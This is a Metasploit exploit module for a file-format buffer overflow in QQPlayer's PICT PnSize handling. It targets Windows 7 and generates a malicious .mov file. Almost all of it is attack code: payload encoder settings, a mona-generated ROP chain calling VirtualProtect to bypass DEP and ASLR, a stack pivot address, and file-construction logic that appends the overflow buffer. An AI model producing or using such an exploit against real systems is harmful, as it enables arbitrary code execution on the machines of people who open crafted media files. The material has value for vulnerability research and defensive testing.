|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118  |  # Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS # Date: 2011,11,21 # Author: hellok # Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe # Version: 32_845(lastest) # Tested on: WIN7 require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  include Msf::Exploit::FILEFORMAT  def initialize(info = {})  super(update_info(info,  'Name' => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS',  'Description'=> %q{  This module exploits a vulnerability in QQPLAYER Player 3.2.  When opening a .mov file containing a specially crafted PnSize value, an attacker  may be able to execute arbitrary code.  },  'License'=> MSF_LICENSE,  'Author' =>  [  'hellok',#special thank corelanc0d3r for 'mona'  ],  'References' =>  [  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  'DisablePayloadHandler' => 'true',  },  'Payload'=>  {  'Space'=> 750,  'BadChars' => "",#Memcpy  'EncoderType'=> Msf::Encoder::Type::AlphanumUpper,  'DisableNops'=>'True',  'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",  'EncoderOptions' =>  {  'BufferRegister' => 'ECX',  },  },  'Platform' => 'win',  'Targets'=>  [  [ 'Windows 7', { 'Ret' => 0x67664cde } ],  ],  'Privileged' => false,  'DisclosureDate' => '11 21 2011',  'DefaultTarget'=> 0))  register_options(  [  OptString.new('FILENAME', [ false, 'The file name.','msf.mov' ]),  ], self.class)  end  def exploit  # !mona rop  rop_gadgets =   [  0x00418007, # POP ECX # RETN (QQPlayer.exe)  0x12345678,  0x67664CE4,   0x01020304,  0x10203040,  0x22331122,  0x23456789,  0x00418007, # POP ECX # RETN (QQPlayer.exe)  0x00a9c18c, # <- *&VirtualProtect()   0x0054f100, # MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe)  #0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe)  0x008cf099, # XCHG EAX,ESI # RETN  0x6497aaad, # POP EBP # RETN (avformat-52.dll)  0x100272bf, # ptr to 'call esp' (from i18nu.dll)  0x005fc00b, # POP EBX # RETN (QQPlayer.exe)  0x00000331, # <- change size to mark as executable if needed (-> ebx)  0x00418007, # POP ECX # RETN (QQPlayer.exe)  0x63d18000, # RW pointer (lpOldProtect) (-> ecx)  0x63d05001, # POP EDI # RETN (avutil-49.dll)  0x63d05002, # ROP NOP (-> edi)  0x008bf00b, # POP EDX # RETN (QQPlayer.exe)  0x00000040, # newProtect (0x40) (-> edx)  0x00468800, # POP EAX # RETN (QQPlayer.exe)  0x90909090, # NOPS (-> eax)  0x008bad5c, # PUSHAD # RETN (QQPlayer.exe)  # rop chain generated by mona.py  # note : this chain may not work out of the box  # you may have to change order or fix some gadgets,  # but it should give you a head start  ].pack("V*")  stackpivot = [target.ret].pack('L')  buffer =rand_text_alpha_upper(90)#2  buffer << rop_gadgets  buffer << payload.encoded  junk = rand_text_alpha_upper(2306 - buffer.length)  buffer << junk  buffer << stackpivot  buffer << rand_text_alpha_upper(3000)#3000  path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )  fd = File.open(path, "rb" )  sploit = fd.read(fd.stat.size)  fd.close  sploit << buffer  file_create(sploit)  end end  |